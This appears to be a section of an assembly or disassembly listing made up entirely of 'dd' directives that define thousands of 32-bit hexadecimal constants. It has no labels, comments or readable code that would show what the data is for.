		dd 85DEB586h, 0B85CD066h, 0AB63BE59h, 0B5E30B04h, 9478AEC1h
		dd 96E0D024h, 0EC173EF2h, 193E6528h, 33EDCA0Ch,	0BB4B17CCh
		dd 0D526F021h, 9049C4C4h, 4F301D6Ch, 0DF66CE0Bh, 42EB8DAAh
		dd 190B8EE8h, 0C4C5B6E7h, 28F3CE24h, 0B8ED4538h, 12A75E5Ah
		dd 0A839C59Dh, 0A6FBA2E9h, 57619C52h, 0F9597B07h, 2B26376Ah
		dd 1610CA07h, 9E1891F7h, 2B1B848Eh, 0C6CD4939h,	7F26C1EAh
		dd 2B6FFB20h, 0D082B477h, 72F3817Eh, 0C47F2E2Ah, 0AC5136EFh
		dd 0A6D85E85h, 0F139E544h, 6D7EF19Ch, 372A7282h, 0F23906EBh
		dd 0B40A8469h, 0E02F83ABh, 73188A5Eh, 0C8A73D74h, 0EDC0BC61h
		dd 0F64C6FCBh, 8C6E529Fh, 44BACEE6h, 1A762F14h,	8D5386B0h
		dd 0C34B0124h, 0D9ED7A8h, 7307806Dh, 0A045793Bh, 72BA262Ch
		dd 47C62170h, 632CDD83h, 20D3848Ch, 18FA7C5Ah, 0E4CF7356h
		dd 87150646h, 0C197494Fh, 0F3154162h, 4699B971h, 25C86651h
		dd 327F85E7h, 4E767F24h, 0FCC0B932h, 0A816BBCh,	8F5D7893h
		dd 0FCFF0AA4h, 0D44E1FF8h, 628B0EA2h, 18341284h, 0BD8A087Fh
		dd 44C1B5C1h, 0FAAEB40h, 0DDD97896h, 659C376Dh,	5AE1B9A5h
		dd 61A0E1B8h, 34CD1C75h, 386B39A4h, 6FA9D6DFh, 4E413E48h
		dd 0B65F6C05h, 0F0F0B86Dh, 0FF38CC7Bh, 6F270A8Fh, 37056F35h
		dd 2097F0CEh, 150FD95Dh, 0E5AAE012h, 57ECA0B6h,	0A5C2B001h
		dd 1717DA69h, 0E76703B6h, 0B6FBCA28h, 9DC68397h, 0EF3A850Bh
		dd 99C07231h, 0E910A2E2h, 0AA5DA95Fh, 0D518C8AEh, 17D8AB1h
		dd 90CAB718h, 70B6A955h, 135E3057h, 22C9A762h, 0EFEB46B0h
		dd 3F5F2D9Bh, 0B6B0FD3Fh, 277FFFEAh, 33B2678Ah,	0EF548DF6h
		dd 28677058h, 0F57CFA1Ch, 0B865D63Fh, 18D6686Ah, 38F0110Eh
		dd 33842D3Ah, 20C25015h
		dd 0A45B9033h, 58149645h, 55FF9D85h, 0A79F86B1h, 39C1B342h
		dd 8AD0597Eh, 0B60FA5C8h, 60EFBE19h, 0EE796A12h, 0EB380B71h
		dd 0DDCBD651h, 7CE4BFCh, 21908AE4h, 0B4CB31F0h,	0FDE6DFD6h
		dd 4DE268E8h, 0D6623D2Ch, 0F3F72CEDh, 0FE98CB39h, 0C1DA0778h
		dd 1D02522Dh, 0CDB42176h, 75E2ECCEh, 0A6334ABCh, 0BC1C6A20h
		dd 779DF3B8h, 3D6138BBh, 820299F1h, 0CD611756h,	6B7BE86Ch
		dd 71B09038h, 689C99Bh,	0E0E7EC21h, 0E77799C0h,	9DF93E6Fh
		dd 15930F89h, 98F7F71Ah, 0D59F7492h, 0A4BEA1A3h, 34FB0A7Ch
		dd 3D9E1DF2h, 0AAA09571h, 67C45E4Dh, 51732849h,	0FF87A0Dh
		dd 0EF109B0Dh, 5E8F9761h, 0E1DCF1BDh, 4D02B13h,	44F754F7h
		dd 6032C26Ah, 0D8AD7B51h, 4CF7A6A6h, 0E85EA2B4h, 4F0CDABEh
		dd 0FC4A1B56h, 0A44B7D54h, 0A79E89CFh, 0E07E2489h, 8F636A00h
		dd 5D6CD8FCh, 904D0F1Ch, 272A96BBh, 988092E4h, 0B76CFAD7h
		dd 64000BE1h, 46E02371h, 0E60C0131h, 0FAE6D84Dh, 530BB45h
		dd 1AFF6B4Ch, 0D024E0BCh, 3ED00040h, 51CCD049h,	5D8E0520h
		dd 16AC5B8Bh, 504ED7C3h, 858D5554h, 73601CDAh, 0F7298EB4h
		dd 0EA6577F8h, 0C3B954Dh, 0E55269A0h, 5A60EB6Ah, 0E299A15Ch
		dd 38E6C14Dh, 0CDDC070Ah, 14F39430h, 922F45A9h,	45A605CAh
		dd 4C9B42F1h, 0F5F286DAh, 4B2A1FD7h, 636F82DBh,	89681556h
		dd 5A1C0EE0h, 0D1D108E4h, 557A4C0Fh, 68583D54h,	56C614CBh
		dd 7F4B0FBFh, 0C793C765h, 0D51B7639h, 0ACA8B4B1h, 0BEA1B2C7h
		dd 0D1FF7837h, 65D1D7D6h, 0DD8460FCh, 0DFE93364h, 484925C9h
		dd 90BE6362h, 0FC8D5803h, 8793AB4h, 253EE841h, 7FA44035h
		dd 3E96081Fh, 41FA5E65h, 2F23CCFCh, 0ED1C2293h,	0F6E3424Dh
		dd 0E571C259h, 0F9EA4B1Ch, 464838E3h, 0C56AD7A4h, 4307BA25h
		dd 0B9D1A2Ah, 1B747913h, 0B59A61B5h, 2E4288EAh,	1B727CE8h
		dd 46C3ADB2h, 54D023A6h, 0AF4D9C58h, 0ACE75388h, 0CE713B64h
		dd 5592146Dh, 55F1A2CBh, 8725D2A1h, 38248A93h, 5CB7EB2Dh
		dd 75D1C5D3h, 45A630BBh, 0F8909B5Fh, 20285C5Ch,	0C00003h
		dd 0AEC0B0CAh, 0CF9C4EBEh, 3B9DF8h, 0B016EC6h, 4FF8AB2Eh
		dd 0A89DC629h, 0BEE90128h, 0BBF2EAA9h, 956E4D51h, 0FD166DADh
		dd 13144AC7h, 0CB7EC008h, 7E575183h, 0C0216829h, 1071512Dh
		dd 4F00A193h, 8773DB14h, 0F08AA4F2h, 67668D1Eh,	8A83FBFBh
		dd 28BD8718h, 1E1CE812h, 19124854h, 2A863456h, 4DCB26A8h
		dd 0C204D78Ch, 0B55E2D63h, 0BBCC1A17h, 4C755FA7h, 0C5ACD0CAh
		dd 1B140084h, 2C323804h, 3DFE3B34h, 0BA27800Bh,	0CA4AD126h
		dd 0F1040604h, 0DB7F3C3Bh, 0C1C760D5h, 0F0DEA79Bh, 1C629C67h
		dd 0C2C88C3Fh, 31FE9838h, 7A60A684h, 4BEE8486h,	14C19FA5h
		dd 42B6DC72h, 0FB7B34A0h, 0F5ED2D74h, 4446AC0Fh, 6338B87Bh
		dd 0E0B0834Bh, 26326C53h, 36DCF091h, 8A98C112h,	8A42ED0Eh
		dd 188C1A08h, 0FF3EBEBh, 5A34B543h, 0A61981F8h,	0B0C29DBBh
		dd 8DD88C4Eh, 42309D07h, 0F4FA8328h, 2719D5D8h,	74462F19h
		dd 19B4BF7Ch, 0A270FC1Eh, 34C03849h, 5BA6F6Dh, 1AC0161Dh
		dd 0F3453F57h, 72D369F3h, 94118B9Ah, 60B0F253h,	0C9DAB3E7h
		dd 24ADB1F6h, 47F159E5h, 214F68ABh, 0E165FAC8h,	0C33D6720h
		dd 0F0769B01h, 65F1BCB2h, 7F87D538h, 0BBA01A46h, 0A265BA0Eh
		dd 14588841h, 0BC73E5A4h, 7BC16A90h, 0A19B6066h, 5A1D9B06h
		dd 4ECF7732h, 0C0DC129Dh, 6290CFD7h, 271835CAh,	0C9EBFDC3h
		dd 3637BD2h, 0B6AFD25Bh, 0E6C8F26Dh, 0B87D6599h, 0C0926F15h
		dd 80BC7528h, 6016F092h, 5F165EAFh, 9194B148h, 845379FBh
		dd 0F1A5D05Bh, 6AAFFF3h, 89383476h, 612CDF86h, 1A614686h
		dd 0ECEC84C2h, 5F69CC53h, 75964DECh, 0FC5CA9C8h, 88849A97h
		dd 0CE1E868Ah, 9C8FE555h, 5130056Fh, 0FA2BB2ABh, 2CF0B8Fh
		dd 0C6D82F74h, 0DADCF8E9h, 8593879Bh, 8FDE8B4Eh, 86DE3C1Eh
		dd 0AE32FC77h, 0D14714B4h, 0E47E7BBh, 2623A4C3h, 0D0ECFD82h
		dd 4434D557h, 7A5EF2C3h, 2136334Dh, 19A31E16h, 9606CC8Eh
		dd 41A865ECh, 0A81A8AE0h, 91D017Ah, 0E8A56008h,	439D03F1h
		dd 3ECE3CB9h, 0B8B4EE10h, 8DCC29FEh, 0D1E3F5CEh, 0A7D7FF2Ch
		dd 6E141AAh, 5EF5D0E5h,	2F761F47h, 9BA4B3C7h, 0B124B126h
		dd 0A62F439Dh, 52661385h, 0ACAA8F00h, 8131772Ah, 0DDBC9F44h
		dd 88586144h, 39C79DB2h, 64C7B029h, 23A3AB55h, 2834FDC7h
		dd 666B4C5Bh, 582C3BEAh, 305EDA1h, 6F1188DAh, 988F16B0h
		dd 3F2F57A8h, 869EA860h, 277F89FCh, 6F66BEC7h, 0FFC55259h
		dd 6CB0774Ch, 85CF6643h, 0E851BCFAh, 94A16E46h,	1ED14795h
		dd 8CBD3A8Dh, 0FABDACDCh, 7728A70Ah, 606A03DEh,	0D084932Eh
		dd 2A68919Ch, 5850D07Eh, 0A1612558h, 0A34B816Bh, 0B6EB7E5Dh
		dd 5A4759A1h, 0C7157A73h, 0EBDB7739h, 93ECD36Dh, 0E757655Ah
		dd 0ED132921h, 75B3C826h, 9EBB601Fh, 1F4C0878h,	0EC110ED8h
		dd 0B320AED4h, 0BBAA6A45h, 0E30F3146h, 0BDEA27AEh, 8C429DC4h
		dd 2FF9604h, 0AA74B544h, 0BFBE4F6Ch, 0F0FB73C2h, 0C29A1FF9h
		dd 50D9961Bh, 0AD3F4B70h, 0F6A633ACh, 138ADFBh,	0FE733FC7h
		dd 9502436Eh, 0DDA7617Bh, 6FA38CF5h, 789F94Ah, 55360AE4h
		dd 468AF63Bh, 604F2C7Dh, 2CE5E07Fh, 9327D91Ah, 0F4991CE6h
		dd 0E49EAE84h, 0B1744760h, 0CB34EE8Bh, 86E52E3Ah, 7BB8E615h
		dd 729A54E7h, 65361338h, 3AA4A5Dh, 0FAC964CAh, 94A1047Bh
		dd 58BF372Ah, 0FCE3A13Bh, 16C8D34Fh, 0E795CB57h, 0D8F2D6A1h
		dd 4C9457EDh, 0AF1C8874h, 63FC8B3Bh, 2892227Bh,	35AF6161h
		dd 4C8DF712h, 6E3BC07Dh, 0D2F415A9h, 0D989ED45h, 0B8CE9BADh
		dd 0F1D1DECBh, 0D1C9A145h, 0FFAE1613h, 51CC10E3h, 0F45DDFA9h
		dd 0FBB1CABEh, 184E82D5h, 1C7818DEh, 66E65B41h,	272F1891h
		dd 2C032769h, 8A1B6BFBh, 0B2C2A80Fh, 0CCFE34B6h, 608B21F4h
		dd 0F8E822DDh, 46B071DDh, 3D7DAB52h, 0EB5BA4A5h, 1FD0656Ah
		dd 45F5D7A7h, 0E5024A3Fh, 9C01FA8h, 0F59C7E3Bh,	256738AFh
		dd 7F51835Fh, 7ADBB0h, 0C5E6B0C3h, 61EB585Eh, 7CD52A14h
		dd 327B35B9h, 8F0BB1A8h, 70281300h, 0B5DA5AC0h,	3289688Ah
		dd 0D1AF905h, 0CC6B71B5h, 0EA3C645Eh, 0CD46E2DEh, 0FD078941h
		dd 387B542Ch, 65C71ACBh, 0C08A1E32h, 3E538496h,	0D5131CC7h
		dd 7F58C7DBh, 0DF09A1F9h, 0DE6923C4h, 0EFD09108h, 5871370Eh
		dd 0A2E0B653h, 0CC3B8941h, 46982B0h, 18A8D778h,	2CA46180h
		dd 0E30F16C7h, 0FF244845h, 0A474A6CFh, 0D5962B19h, 0AB623B34h
		dd 0EE1B806Fh, 0DF5241Fh, 0CAD41684h, 5DB0F92Ah, 94A40679h
		dd 0A29ED46Bh, 5E560C76h, 907628EAh, 7D5DB4B9h,	53AA347Dh
		dd 0E7B62FDCh, 29FC676Bh, 0C83497EEh, 0FBB6DCBEh, 0B7550DECh
		dd 3595DB51h, 37BC0895h, 2C2F42EAh, 103BD989h, 0C0212BE8h
		dd 0C5FF2EE2h, 0A604C3D7h, 0C8359E31h, 0DAC975F5h, 0F3E97C67h
		dd 807A0387h, 544C47FCh, 0EE5F3DC5h, 5F669020h,	4E5BF1A5h
		dd 4DC9C748h, 2DB76CE4h, 60E2F1C4h, 4862D870h, 0CBDBFA2Ch
		dd 0C8B0B482h, 0F4F027Eh, 3100EA40h, 13CE096Dh,	0DA829F3h
		dd 1A8DA81h, 12916FF4h,	43850167h, 32ED8ACEh, 7A68348Ch
		dd 0A2AB4B2Dh, 0B1259A9h, 0CA292198h, 94C8B9C0h, 0E72F0A58h
		dd 9DF64636h, 142B4914h, 0B8D999DDh, 6F7C593Fh,	81EB1F8Ah
		dd 62E11036h, 7E511B5Fh, 0D516C33Ah, 43354EE2h,	4F858E21h
		dd 0F18D4B1h, 1B0F999Ah
		dd 0DB7B0109h, 994BD380h, 0E758A3A8h, 0BADBB4Fh, 5520F5CAh
		dd 40A4FCAh, 38CA7345h,	0A5BF6364h, 3CD9C35Eh, 19600C8Bh
		dd 0FD805CBAh, 6BB9146Bh, 928B19C9h, 49F64B6h, 2F672FEBh
		dd 34A90122h, 0EE187FE6h, 7CBAF669h, 3C7AFBC7h,	0DC3D25C8h
		dd 36C950DCh, 1AEAB807h, 570A45BAh, 337BDC17h, 5E5616B5h
		dd 3371AC7Dh, 0CD2D807Ch, 4254DCEEh, 0DD0D1EC1h, 0F2F70588h
		dd 0FBF702A2h, 53930F6Ch, 4F62348h, 0A7A069E9h,	22261ABCh
		dd 622CC469h, 65584006h, 96312A9h, 7470135Dh, 0EE8D5196h
		dd 2C28ADB5h, 837619DFh, 0CAAF5CA5h, 10D7CEBDh,	0E0C160A5h
		dd 19EE49C0h, 59D46F23h, 239618D7h, 400649C3h, 0C2328230h
		dd 0D4AEA4AFh, 6BC71DB7h, 0EC0138F3h, 0CC88BE3Ah, 9B28BB4Ah
		dd 0F60A7AF8h, 0F8BC1E42h, 9D8AF263h, 0B5C9F977h, 2E54B33h
		dd 0B7A066B7h, 8490A5ADh, 67BCD14Ah, 10552B7Dh,	0A0A3B4A8h
		dd 9E342123h, 81C3DC7Ah, 5C0B9270h, 51698847h, 594DA8C5h
		dd 0CC296E19h, 0C59E8BD1h, 67F3E490h, 429A3E9h,	0A4CDE60Eh
		dd 3C5E6D79h, 2FB79552h, 0CD27B241h, 8A27A9CBh,	6FA87B1Ch
		dd 738657FEh, 0A7C9FBFh, 31662190h, 0F4B058D0h,	0F3F92E86h
		dd 0BE4BB73Fh, 0A37A578Dh, 1433990Ch, 5DA30191h, 58492DAAh
		dd 4D913F12h, 0A87F76BAh, 22E5822Ch, 0A4118500h, 34850705h
		dd 0BEE010CEh, 11253087h, 94FEBBF4h, 4E9EBB20h,	6AD88D0Bh
		dd 0AFFC251Bh, 6C2C9F8Bh, 17B78193h, 0F6678D53h, 0B898FA03h
		dd 2EE5D3E0h, 7685926Ch, 0FCC1D002h, 0F629880Ah, 5639A3C4h
		dd 4EE5102Dh, 0A95399B7h, 674A1AB5h, 0E528C0B5h, 393D0DE8h
		dd 4DE91C6Dh, 2DCA39B3h, 86EC563h, 25CEA381h, 0EF2DAFD3h
		dd 0F1E68621h, 0CAAE0A71h, 0D1D3BAE2h, 0B4EC37FCh, 35484858h
		dd 0D9D1DB67h, 0A8D0BFF7h, 10CA3683h, 774D34D5h, 0EAFDD8D9h
		dd 0D1781CE0h, 0B6263422h, 0F914D0B0h, 0ECED7A91h, 972F21C5h
		dd 23A47CC1h, 577935D7h, 0DEB06E63h, 8D39B905h,	0F79DED12h
		dd 7F0EE83Ah, 7006BC01h, 2C1C35FEh, 0FCBB286Fh,	253844B4h
		dd 3BD51655h, 4C5DCC9Eh, 9BDD45ACh, 2D2FF4Fh, 0B66988C8h
		dd 240DAC45h, 1B45FA05h, 779A22D7h, 0B5DEA980h,	933C4256h
		dd 83AF1C4Dh, 8394ECD0h, 0F57437C8h, 0D47E1C48h, 669D302Dh
		dd 0C4CAD1FDh, 973FB68Ah, 6893C865h, 1A36E5F2h,	723ABC91h
		dd 435A205Fh, 4042DEE8h, 4FE2E6Bh, 2F2EC27Fh, 459E4096h
		dd 9894ABDEh, 95C2B94Eh, 0B81863EAh, 71084BE6h,	0EDAF2B92h
		dd 5CDBB418h, 96F18D76h, 0F00529Bh, 0A6D729CCh,	225E76ECh
		dd 17FEF802h, 0E17E9299h, 236C820Eh, 0DB4FD3B9h, 0B25C77CEh
		dd 0F123EC07h, 0FC600428h, 0C90863Ah, 61997F06h, 696E0A12h
		dd 0C5252137h, 0BD98EEF4h, 0FF1A92F5h, 0E0819DD2h, 15C22556h
		dd 6843ACA6h, 0F33A63EEh, 0FAF7740h, 4B16F763h,	345E63B9h
		dd 0CC5348Ch, 9AD8330Eh, 0ABF2364Ch, 85E2D97Fh,	56BB4C1Bh
		dd 0DFF06950h, 0F6CB62E9h, 0A21C986Eh, 3BEB2668h, 5EBD8790h
		dd 282DA7AAh, 0B48E1AB5h, 0BB5EB6F1h, 0C77E5818h, 4529CEA7h
		dd 1DFDDF89h, 4AA09C35h, 0F88F75EFh, 0B9B221E3h, 22BCEDDBh
		dd 96FE59C5h, 7D349E4Dh, 3241DBA1h, 0D485C8E6h,	70685F5Ah
		dd 0EB357A6Ch, 8BEC5BC1h, 0CA33083Dh, 1F2C7FD8h, 2D1B78CEh
		dd 4E308F8Fh, 0AA5FBA25h, 0ADF837E3h, 67667946h, 0B1F1EAF4h
		dd 61976BABh, 0A981269Fh, 2D84FBh, 8EDF9EBEh, 59C18684h
		dd 9BA96062h, 67606ED3h, 14699FF3h, 6BAB018Bh, 16DE55Fh
		dd 0B819FC0Ah, 0D3135EA4h, 6FC7CFA1h, 91F7EF08h, 0E54B2FB1h
		dd 22099CA2h, 0A6B99D83h, 428E1E5h, 88AE3186h, 0A2AD4049h
		dd 0A42448B0h, 94E6101Dh, 6DBAD1F3h, 221C3CE9h,	80F1DA44h
		dd 13E5FE98h, 96F873A2h, 3F6A0351h, 8D045EA3h, 0C1EFC4E5h
		dd 0D0C77528h, 0A1236AA4h, 61A795F2h, 0B0C742F9h, 2B0F8146h
		dd 0A4A4E5B1h, 763614CEh, 0E39A382Bh, 45FB114Ch, 0A93B6EEFh
		dd 8F208177h, 7ECC32EEh, 0FCC8DDE5h, 0F7331C36h, 0A8D83A04h
		dd 0A76CB193h, 0FE1E0743h, 6DF89CECh, 3956F4AFh, 918E3653h
		dd 0ABDBE17Ch, 2C46664Dh, 3F2FCF99h, 0D15A8CEBh, 0C93171E5h
		dd 91039AEDh, 5A89130Fh, 7B53CC65h, 22F87AD3h, 0AB959CA7h
		dd 68AC83BEh, 824F619Fh, 7D8A0E3h, 3B08867Ch, 74B8F6BBh
		dd 7D6633AEh, 0F87DAAA8h, 0C6E8DF71h, 7C5281A5h, 4C96E23Ah
		dd 0D68FA9F9h, 2090B685h, 0F6E6FD8Fh, 0D5443A2h, 1175CF28h
		dd 6234882h, 0E197748Bh, 0C04A8FADh, 52C56C83h,	0BA29797h
		dd 48B8EE6Fh, 0A40343BCh, 491E43A0h, 0FF1DE175h, 2C38B5A4h
		dd 6654A56Dh, 0B4A86B30h, 0EEFC6A7Ah, 31E82FE9h, 0EAB998D6h
		dd 0ABC38701h, 203303Fh, 0F09E32B2h, 0E6FCABDFh, 4D81F55Dh
		dd 0E544AB7Dh, 3D59E1A4h, 48FE3340h, 0B73E1A1Ch, 35E3D063h
		dd 0C849F826h, 8C04BD18h, 0AD2E0312h, 0FEACACAh, 841B5E59h
		dd 21CD9EFBh, 0A01C23A8h, 0C84FD0B5h, 5F092AADh, 887C2415h
		dd 0AA349813h, 0C73083CEh, 6C4E45FAh, 0E79C87E6h, 2D14CA4Eh
		dd 0CAD58452h, 0A9035086h, 0EE702B38h, 0ED7975FBh, 68267F53h
		dd 0CB92857Bh, 1D6D5BD0h, 85B62A78h, 0F087C31Fh, 0A7D9E73Fh
		dd 0D354FCBAh, 54E95ADBh, 4C6A7AA0h, 0CEBDE160h, 120F1B41h
		dd 5A5C4A06h, 0A3F99C8h, 7F80D2D1h, 0FAF537DFh,	4693103Fh
		dd 0C4C70C7Bh, 85BEBA2Bh, 46800C49h, 8D7F7487h,	0EC499AC8h
		dd 0F2911A4Ch, 94CEBE04h, 0C7EADD31h, 84AAD884h, 6AD90C43h
		dd 484794D9h, 1186EBDBh, 989D4AF7h, 3FAF2199h, 8C4FE496h
		dd 1FD2AB52h, 1C32D150h, 61CB1378h, 104B33D7h, 4AFEBA4Ch
		dd 2EA2F9E8h, 0C101CF49h, 487E1D37h, 66088C79h,	928D2ECEh
		dd 7193C5B5h, 0ED83B839h, 54B499A0h, 47CACAC5h,	42C75246h
		dd 0DD027027h, 0E410572Ah, 0F67EF4Eh, 83D12BCFh, 0D87249D4h
		dd 99088FEh, 4BEA1052h,	0C121AA0Eh, 1CB169F0h, 55BE8986h
		dd 8B9287ECh, 0FA95F39Bh, 209F353Ch, 2BADBA64h,	0E36A55DBh
		dd 0A7F568F4h, 0EDF82548h, 7B1CB5F6h, 6BCA541Fh, 75A89D99h
		dd 0ADEA04ABh, 0F12AA02Eh, 448CD8F4h, 8B369EF2h, 1820B68Bh
		dd 0DD475CD8h, 65E25DB0h, 46A21E3Fh, 0C7DDA3C7h, 9CF8717Bh
		dd 0E5F16FDDh, 2B874D5Ah, 40377F5Fh, 0B0DE3B8Dh, 2FE556D8h
		dd 8EC1C14Dh, 62FECCE6h, 6574EE23h, 0C6CCAFEBh,	586727B6h
		dd 50733E89h, 7A62A8BFh, 0A05EC5B6h, 6358A109h,	6628BCA2h
		dd 49D0658Bh, 10CD887Fh, 0FB784EE9h, 0B113E764h, 0FB7C44DDh
		dd 0E51A1823h, 0F5FA41D6h, 8637BB13h, 7F08D88Ah, 80114EB1h
		dd 630EBB7Bh, 744EBD57h, 0CAFA1B42h, 16B2B9D5h,	0BDE7918Ch
		dd 5E95A54Fh, 0A125958Ah, 0B95FD13Fh, 0B94E88D4h, 34079691h
		dd 29509AA1h, 1DC67303h, 9B23D619h, 0D0F88F09h,	28095147h
		dd 147A72DAh, 0A97E7FEh, 9BE70BC3h, 375F76B5h, 0DF9EC5DDh
		dd 6EEB4808h, 29F2B58Ah, 7DEB1912h, 0CA4AFE9Bh,	28A3A96Ch
		dd 0B03D55A2h, 0BEB0DF56h, 0D2BE5BAAh, 912B80DEh, 731AD12Fh
		dd 70C78E1Ch, 0AB12858Ch, 0F067CA94h, 6FC1E4ECh, 617FCE4Fh
		dd 0FD740D64h, 98EFE860h, 0A13B8ACEh, 0E8FFE946h, 6A160E24h
		dd 22BE9557h, 0C79A2A2Fh, 0A771FC74h, 0EC89DE23h, 0E5CB2860h
		dd 58CD0460h, 3BAE7D41h, 2BF2D103h, 1C587281h, 76F24278h
		dd 0A26D7B43h, 67FBE3E7h, 666257D4h, 0BBAE31F2h, 19653659h
		dd 0D82BFF41h, 0EB15124Dh
		dd 0CA5C4F68h, 0D1A1E1B4h, 17694C48h, 1C344A41h, 6FEFB367h
		dd 0DBCE162Bh, 30F9A12Eh, 73F3A3AEh, 974DD0B4h,	0A985B60Dh
		dd 75B22476h, 3915B8B4h, 7697DD8Dh, 0CA09CD6Fh,	0D82EB1F7h
		dd 0DC175B26h, 8CF63168h, 0D14EAC24h, 0A811120Dh, 431FFD0Bh
		dd 79CB4D66h, 0BA2E361Eh, 0E8A0E8E1h, 9A6A1DFh,	8E7F11B5h
		dd 0D84F2E0h, 82689001h, 0A80AFF7Dh, 0C1AEBA90h, 1BA28545h
		dd 0F56AC290h, 0A4D1EE4h, 0DE28CAE8h, 8C76FF1Dh, 0D9CB925Ch
		dd 3583929Eh, 1B6FB577h, 3AA6842h, 75E4D42Ah, 0EDFDA949h
		dd 1DE18047h, 4763822Bh, 86D56713h, 87660041h, 810B0444h
		dd 3BE70380h, 85A81751h, 7AA2E8B9h, 0C4253D9Ah,	0F591B4A3h
		dd 8FF4D424h, 0D28D8CDAh, 0F40DCC54h, 0AAFEFA4Bh, 10854AEFh
		dd 8D49B934h, 0D951B2A5h, 3B2EBE8Ah, 5431C587h,	0B1C79F49h
		dd 0B8D8A89Fh, 128D2659h, 46BF432Eh, 0CD893DC8h, 42C532E8h
		dd 6087DB0Bh, 614958C7h, 4D3C7C13h, 3B74EE5h, 3B542C59h
		dd 0DF7C08FCh, 3E27FA45h, 0E3C56DB8h, 1BABCD82h, 0EE98265Ah
		dd 22689000h, 826FB372h, 0D9ABDC33h, 0D48DA764h, 57C88395h
		dd 0D29804F2h, 1F0BEE4h, 0FF70C730h, 0FC8C3104h, 0F6010A2Bh
		dd 13EA46C9h, 45A299EDh, 8D7F5A0Ch, 6E32855Eh, 9C62B3F9h
		dd 94393FCEh, 4438E6EAh, 71BBF49Fh, 462B4A8Eh, 16CF0B13h
		dd 8D4B9479h, 20561F9Dh, 39E5F2E5h, 8FABD09Eh, 0B00E5644h
		dd 0E3F99AE9h, 6D3F9CC3h, 44910F6Ah, 52E1B400h,	0BEEFE56h
		dd 25447A09h, 4454DDE4h, 7F26E05h, 1110695h, 0EFBD1BC5h
		dd 1FD5808Ah, 0E13F0CFBh, 0C16543FFh, 854B3A54h, 7099ACFDh
		dd 5A7D81A0h, 0BE2C87EAh, 3211DC4Bh, 0ED78CDE8h, 0B5C174BAh
		dd 93D535D7h, 1BE1148Fh, 3930C477h, 0BB81A170h,	0AC2DADF5h
		dd 80CDF3C5h, 511C079Bh, 0C529A52Fh, 0DEC09686h, 0CE04635Fh
		dd 0B82808EEh, 0DD123763h, 4AB38824h, 0F522ADE1h, 0E8DEC8E8h
		dd 0D91DE074h, 2DC0F5F3h, 9D258253h, 10471867h,	0C8CA997Ah
		dd 1CD629C9h, 5F3F85F4h, 0FD674A2Fh, 0EDD24A50h, 3CC3BF25h
		dd 0E5653E0Dh, 0B95F42A7h, 0D93A7D3Fh, 0A6689A0Eh, 0F8C9AEF3h
		dd 29A0B388h, 935E213Ah, 0DE0E677Ah, 1A9F5DE4h,	0C4CCB62Fh
		dd 9C8727CDh, 0C5D6692Dh, 0D90F83D8h, 0D715ADAFh, 0FD428FA2h
		dd 0B1AF74FBh, 9CA874C1h, 4B56D4BEh, 4F96BB2Ch,	260F8C09h
		dd 0FB617FF0h, 0DD4FEAh, 43964E8Dh, 0AD7FA4DCh,	0B1FE407h
		dd 0C2058A3Ch, 8688FFF7h, 0ABEE2ECBh, 0FE524BC1h, 257C2C8Dh
		dd 9A19A99Ch, 0C8BF6A1Dh, 2A00517Ch, 0D8673295h, 0C30620D8h
		dd 67104108h, 98ABB02Eh, 642B5D69h, 342846F1h, 51C8223Ah
		dd 0D0FA05C8h, 0B937BA4Eh, 77469CBh, 1262F916h,	0F810C3C5h
		dd 0E7A6DF36h, 0E59651BAh, 533DB1E9h, 0B8ABCC49h, 18D6A6D6h
		dd 2020D9ACh, 63AD6928h, 5D01DDE0h, 0DC94B80Bh,	1447DFD9h
		dd 7901740Ch, 0FE9FC32Eh, 0C31E89FAh, 0FCC07BD3h, 707464DBh
		dd 418D09C4h, 42C0F4A7h, 462A81DEh, 5A53C004h, 0F4EFA267h
		dd 5AB22B99h, 5D5BB677h, 0C96F5354h, 0FFC310A6h, 576F89E1h
		dd 0A3448AB8h, 990008C6h, 320955EBh, 2A8B3E79h,	0CBCF14B0h
		dd 933ADBC7h, 0C2074F0Ch, 6F934B1h, 3AED6722h, 0B1550703h
		dd 4B709887h, 445069B5h, 614F4F1Ah, 6041F71h, 0F83B2ACAh
		dd 56647BBFh, 88A95FA5h, 0EBB7DAD4h, 188F7E84h,	0F2C44EE8h
		dd 0BC5112ABh, 0B1B03210h, 0F6D74F35h, 0BD20F541h, 46B75C8Dh
		dd 2A4FB324h, 5A14BAD2h, 2473E0BBh, 20B04883h, 0E9F941D6h
		dd 6828246Ch, 531877Eh,	0A5B62805h, 1D59EA5Fh, 4BA8B934h
		dd 0FD23B160h, 13B3DD2Ah, 48C603CCh, 6AA351B0h,	806716E7h
		dd 0EC8426B7h, 0D161F83Ch, 88407Dh, 25FF7BEBh, 0CC38142Ah
		dd 0EDA2A146h, 6389A9BBh, 0A8D6BBBBh, 66A2F4FDh, 7B35DFA4h
		dd 0FF03A428h, 666A95E5h, 0AD18199Ch, 0C81C3612h, 57C7880Dh
		dd 3F392143h, 0C6AC899Dh, 7BDEFCFDh, 8482CBC1h,	0C5AA6DA4h
		dd 9A53AE6Eh, 1AEC2C54h, 9F6F3DC9h, 92CDD972h, 0ABAAC301h
		dd 0FE3F9744h, 41EBFAA8h, 0E8B537F1h, 55D147CCh, 81A05ECh
		dd 0B735B22h, 3FCB3D6h,	0E3E3EB0Ah, 0D98D6302h,	0A483887h
		dd 0EEA24AA1h, 0AFEF4258h, 2A3F2E64h, 2941D35Eh, 0B613279Eh
		dd 8AF2B368h, 8FFB4B24h, 7202B21Eh, 0B1F31D5Bh,	27F95703h
		dd 4A633730h, 0C42DB864h, 0F4BF9915h, 442671A8h, 0CD53F82h
		dd 0E591A4D9h, 2A06C6C4h, 54888EE1h, 755A70E9h,	0F3ABE28Eh
		dd 0B1954988h, 6693D9DDh, 0AE541D43h, 0F4E1870h, 9B94A6B8h
		dd 69202D4Fh, 0FD2F5BCDh, 0E00F05CFh, 3D9FB94Ch, 20480599h
		dd 8B709DAh, 4B8A78C1h,	5FF5DB3Ah, 0A4311CAAh, 3F6441FAh
		dd 0E43D9421h, 0FEB4399Bh, 3C41CA83h, 2FC55ECDh, 0F1EDD6D1h
		dd 0EA7844EBh, 64B58332h, 691825A1h, 0D6A1492Fh, 9F20BFEAh
		dd 28B470D3h, 0FED886B7h, 3E0C9491h, 0F3FAAA38h, 0AF47DF49h
		dd 107A77C1h, 8872C64Bh, 96196894h, 6163C1D5h, 0EC93A9DFh
		dd 0C1384903h, 61B65C99h, 7FCA5EA6h, 0FF40906Ch, 2F4DD150h
		dd 0E65138E0h, 5A080236h, 9BDF57D4h, 203A4CC6h,	39255037h
